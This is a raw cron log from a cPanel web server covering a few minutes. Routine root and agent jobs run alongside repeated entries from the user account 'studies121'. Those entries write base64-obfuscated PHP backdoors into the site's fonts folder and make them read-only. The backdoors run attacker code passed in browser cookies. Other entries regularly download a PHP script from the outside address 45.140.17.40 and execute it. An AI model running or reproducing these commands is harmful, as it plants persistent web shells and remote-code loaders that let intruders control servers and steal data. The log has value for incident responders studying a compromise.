Sep  2 01:08:01 ip-184-168-122-23 CROND[19105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:09:01 ip-184-168-122-23 CROND[19188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:09:01 ip-184-168-122-23 CROND[19189]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 01:09:01 ip-184-168-122-23 CROND[19193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:09:01 ip-184-168-122-23 CROND[19191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:09:01 ip-184-168-122-23 CROND[19192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:10:01 ip-184-168-122-23 CROND[19288]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:10:01 ip-184-168-122-23 CROND[19290]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 01:10:01 ip-184-168-122-23 CROND[19293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:10:01 ip-184-168-122-23 CROND[19296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:10:01 ip-184-168-122-23 CROND[19297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:10:01 ip-184-168-122-23 CROND[19295]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:10:01 ip-184-168-122-23 CROND[19299]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:10:01 ip-184-168-122-23 CROND[19294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:11:01 ip-184-168-122-23 CROND[19389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:11:01 ip-184-168-122-23 CROND[19390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:11:01 ip-184-168-122-23 CROND[19388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:11:01 ip-184-168-122-23 CROND[19387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:12:01 ip-184-168-122-23 CROND[19466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:12:01 ip-184-168-122-23 CROND[19467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:12:01 ip-184-168-122-23 CROND[19470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:12:01 ip-184-168-122-23 CROND[19468]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:12:01 ip-184-168-122-23 CROND[19469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:13:01 ip-184-168-122-23 CROND[19655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:13:01 ip-184-168-122-23 CROND[19653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:13:01 ip-184-168-122-23 CROND[19654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:13:01 ip-184-168-122-23 CROND[19656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:14:02 ip-184-168-122-23 CROND[19741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:14:02 ip-184-168-122-23 CROND[19743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:14:02 ip-184-168-122-23 CROND[19744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:14:02 ip-184-168-122-23 CROND[19746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:14:02 ip-184-168-122-23 CROND[19745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:15:01 ip-184-168-122-23 CROND[19832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:15:01 ip-184-168-122-23 CROND[19833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:15:01 ip-184-168-122-23 CROND[19835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:15:01 ip-184-168-122-23 CROND[19837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:15:01 ip-184-168-122-23 CROND[19834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:15:01 ip-184-168-122-23 CROND[19836]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:16:01 ip-184-168-122-23 CROND[19929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:16:01 ip-184-168-122-23 CROND[19931]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:16:01 ip-184-168-122-23 CROND[19934]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 01:16:01 ip-184-168-122-23 CROND[19936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:16:01 ip-184-168-122-23 CROND[19937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:16:01 ip-184-168-122-23 CROND[19938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:17:01 ip-184-168-122-23 CROND[20018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:17:01 ip-184-168-122-23 CROND[20017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:17:01 ip-184-168-122-23 CROND[20020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:17:01 ip-184-168-122-23 CROND[20024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:18:01 ip-184-168-122-23 CROND[20187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:18:01 ip-184-168-122-23 CROND[20189]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:18:01 ip-184-168-122-23 CROND[20190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:18:01 ip-184-168-122-23 CROND[20191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:18:01 ip-184-168-122-23 CROND[20192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:19:01 ip-184-168-122-23 CROND[20280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:19:01 ip-184-168-122-23 CROND[20279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:19:01 ip-184-168-122-23 CROND[20281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:19:01 ip-184-168-122-23 CROND[20282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:20:01 ip-184-168-122-23 CROND[20379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:20:01 ip-184-168-122-23 CROND[20378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:20:01 ip-184-168-122-23 CROND[20382]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:20:01 ip-184-168-122-23 CROND[20392]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 01:20:01 ip-184-168-122-23 CROND[20389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:20:01 ip-184-168-122-23 CROND[20393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:20:01 ip-184-168-122-23 CROND[20386]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
